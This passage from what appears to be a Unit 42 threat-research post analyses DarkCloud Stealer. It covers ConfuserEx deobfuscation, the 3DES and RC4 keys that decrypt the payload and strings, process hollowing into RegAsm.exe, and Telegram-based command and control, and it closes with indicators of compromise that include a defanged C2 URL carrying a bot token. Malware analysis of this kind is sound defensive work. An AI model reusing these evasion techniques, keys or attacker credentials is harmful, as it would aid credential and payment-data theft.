Figure 9. Partially deobfuscated sample, after applying de4dot-cex.

Thereafter, proxy call methods can be fixed using the proxy call remover tool. Proxy call method obfuscation is a technique that replaces direct method calls with calls to intermediate (i.e., proxy) methods. These proxy methods often do almost nothing besides forwarding the original call. However, they make control flow more difficult for the analyst to follow, thus hindering the code decompilation process. This reduces code readability and increases the effort required to fully understand the entire program logic.

Removing these proxy call methods resulted in the simplified code seen in Figure 10. The Class8.smethod_10 method is revealed as the standard Convert.FromBase64String method.

A screenshot of programming code displayed on a digital screen, featuring functions and methods related to data conversion and string manipulation.
Figure 10. Deobfuscated sample with proxy calls removed.

Eventually, the final DarkCloud VB6 payload (which is in Triple Data Encryption Standard (3DES) encrypted form shown in Figure 11) is decrypted and executed.

Screenshot of a computer code in a development environment, featuring several lines that include methods for converting Base64 strings.
Figure 11. Final VB6 payload in 3DES-encrypted form.

The Base64-encoded key, initialization vector (IV) and ciphertext are stored as strings within the <Module>.byte_0 variable in Length-Value format, as shown in Figure 12.

Hexadecimal values displayed in pink and green on a black background, with some ASCII characters visible on the right side.
Figure 12. <Module>.byte_0 variable in Length-Value format.

The standard Type-Length-Value (TLV) format (TLV) format typically includes a type identifier, but in this case, it’s omitted because all values are strings. For instance, the cryptographic key iA9B1uKFddQdqiLSSuzvD2GhL1o2Jv+v (also shown in Figure 11) is stored as a 32-byte string. The length is specified at offset 60 in little-endian format, with the string value beginning at offset 64.

The <Module>.byte_0 variable value is initialized in the module constructor (<Module>.cctor), through a series of exclusive OR (XOR) and bitwise (arithmetic bit shift) operations on a hard-coded 100,560-element unsigned integer array. After initialization, other generic .NET methods, each accepting a single integer id as parameter, use this array to index the initialized <Module>.byte_0 variable and return a string. Figure 13 shows one such method, <Module>.smethod_6.

A screenshot of many lines of code showing with several lines including conditionals, loops, and function definitions.
Figure 13. Example generic .NET method providing a string lookup by id on the <Module>.byte_0 variable.

Stage Two: Final VB6 Payload

RunPE, or process hollowing, is a process injection technique. Process hollowing works by first creating a fresh instance of a (usually legitimate) process in a suspended state. The process memory is then overwritten with code from another (usually malicious) executable. Subsequently, the process thread resumes at the entry point of the overwritten code, so that the malicious code now runs in the context of the benign process.

The ConfuserEx protected process uses process hollowing to inject the final VB6 payload. After decryption, the final VB6 payload named holographies.exe, is injected into a new native Portable Executable (PE) process spawned by the initial ConfuserEx process. The process used for injection is RegAsm.exe, a legitimate utility that comes with the default installed .NET Framework SDK on Windows.

The presence of the string DarkCloud within the final VB6 payload (shown in Figure 14) confirms its affiliation with the DarkCloud malware family.

Hexadecimal and ASCII data representations on a computer screen, including highlighted sections spelling out DARK CLOUD.
Figure 14. DARKCLOUD Unicode string in little-endian format (UTF16-LE) embedded within the final VB6 payload file.

Additionally, critical strings within the payload are encrypted using the Rivest Cipher 4 (RC4) stream cipher algorithm, with each ciphertext typically using a unique key. For instance, the ciphertext 58364B6DB1C7D797DFA59186B4 paired with the key sMgSInEGpSAgkfcMSUPDDFCVSTyhowuHorsctkyTMYZh decrypts to the string WScript.Shell. These sensitive strings can be broadly categorized as:

  • Regular expressions
  • Credit card names
  • Registry paths
  • Directory and file paths (including file extensions)
  • Telegram API credentials (used for C2 purposes)
  • Other miscellaneous strings

Conclusion

DarkCloud Stealer is typical of an evolution in cyberthreats, leveraging obfuscation techniques and intricate payload structures to evade traditional detection mechanisms. The developers of the malware complicated its analysis by adopting ConfuserEx and a VB6 payload in its infection chain.

The shift in delivery methods observed in April 2025 indicates an evolving evasion strategy. This highlights the need for security professionals to adopt proactive, behavior-based approaches to threat detection and mitigation.

Palo Alto Networks Protection and Mitigation

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

  • The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research.
  • Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious.
  • Cortex XDR and XSIAM are designed to prevent the execution of known malicious malware, and also prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module.
  • Cortex Cloud customers are better protected from DarkCloud Stealer through the proper placement of Cortex Cloud XDR endpoint agent and serverless agents within a cloud environment. Designed to protect a cloud’s posture and runtime operations against these threats, Cortex Cloud helps detect and prevent the malicious operations or configuration alterations or exploitations discussed within this article.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

File Type SHA256 Hash
RAR archive bd8c0b0503741c17d75ce560a10eeeaa0cdd21dff323d9f1644c62b7b8eb43d9
TAR archive 9588c9a754574246d179c9fb05fea9dc5762c855a3a2a4823b402217f82a71c1
JS file 6b8a4c3d4a4a0a3aea50037744c5fec26a38d3fb6a596d006457f1c51bbc75c7
PS1 file F6d9198bd707c49454b83687af926ccb8d13c7e43514f59eac1507467e8fb140
WSF file 72d3de12a0aa8ce87a64a70807f0769c332816f27dcf8286b91e6819e2197aa8
7Z archive fa598e761201582d41a73d174eb5edad10f709238d99e0bf698da1601c71d1ca
7Z archive 2bd43f839d5f77f22f619395461c1eeaee9234009b475231212b88bd510d00b7
Initial ConfuserEx .NET EXE file 24552408d849799b2cac983d499b1f32c88c10f88319339d0eec00fb01bb19b4
Final DarkCloud VB6 EXE file ce3a3e46ca65d779d687c7e58fb4a2eb784e5b1b4cebe33dbb2bf37cccb6f194
  • Malware distribution URL hxxp[:]//176.65.142[.]190
  • C2 URL hxxps[:]//api.telegram[.]org/bot7684022823:AAFw0jHSu-b4qs6N7yC88nUOR8ovPrCdIrs/sendMessage?chat_id=6542615755

Additional Resources

 

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow